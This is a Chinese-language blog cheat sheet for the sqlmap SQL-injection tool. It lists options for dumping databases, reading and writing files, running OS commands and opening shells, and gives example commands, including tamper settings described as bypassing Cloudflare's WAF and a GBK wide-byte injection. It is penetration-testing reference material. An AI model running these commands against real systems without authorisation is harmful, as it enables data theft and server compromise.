sqlmap
应用场景
自动测试注入已找到的sql注入漏洞点
命令参数
常用参数
| 参数 | 详解 |
|---|---|
| -u “url” | 注入的url |
| —data | post请求payload |
| –cookie | cookie注入 |
| –dbs | 列出所有数据库 |
| -tables | 列出所有表 |
| -D | 指定数据库 |
| -T | 指定表 |
| -C | 指定字段 |
| –dump | 跟在上面指定的参数一起使用,列出指定的数据 |
| —sql-shell | 写shell |
| —batch | 默认选择y |
| –eta | 盲注,显示时间和优化 |
| –os-cmd=id | 执行系统命令 |
| –os-shell | 系统交互shell |
| –os-pwn | 反弹shell |
| –referer | 使用referer欺骗 |
| –users | 列数据库所有用户 |
| –threads | 多线程 |
| –file-read | 读指定文件 |
| –file-write | 写入指定文件 |
示例
- post请求插入请求表单
1
sqlmap -u "url" --data="id=1&" --batch
- 列出数据库系统用户
1
sqlmap -u "url" --users -v 0
- 列出所有数据库名称
1
sqlmap -u "url" --dbs --batch
- 列出指定数据库的表
1
sqlmap -u "url" --tables -D "数据库名称" -tables --batch
- 列出指定表的数据
1
sqlmap -u "url" --tables -D "数据库名称" -T "表名" --dump --batch
安全参数
| 参数 | 详解 |
|---|---|
| -proxy “url,url” | 代理 |
| —tamper | Tamper 脚本,混淆 Payload |
| —chunked | 分块传输编码 |
| —random-agent | 随机化 HTTP 头 |
| —delay=5 | 请求延迟 |
| —headers | —headers=”X-Forwarded-For:1.1.1.1”添加自定义 HTTP 头 |
| —charset | 强制指定字符集,绕过转义字符 |
示例
- 绕过 Cloudflare WAF
1
2
3
4
5
6
7sqlmap -u "http://XXXXXXX.com?id=1" \
--tamper=space2comment,randomcase,versionedmorekeywords \
--random-agent \
--delay=3 \
--dbms=MySQL \
--level=5 \
--risk=3 - GBK 宽字节注入
1
2
3
4
5sqlmap -u "http://XXXXXXX.com?id=1%df%27" \
--charset=gbk \
--tamper=unmagicquotes \
--dbms=MySQL \
--dbs - JSON 参数注入
1
2
3
4
5sqlmap -u "http://target.com/api" \
--data='{"id":"1*"}' \
--param-del=":" \
--headers="Content-Type: application/json" \
--dbms=MySQL
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 HAHA!
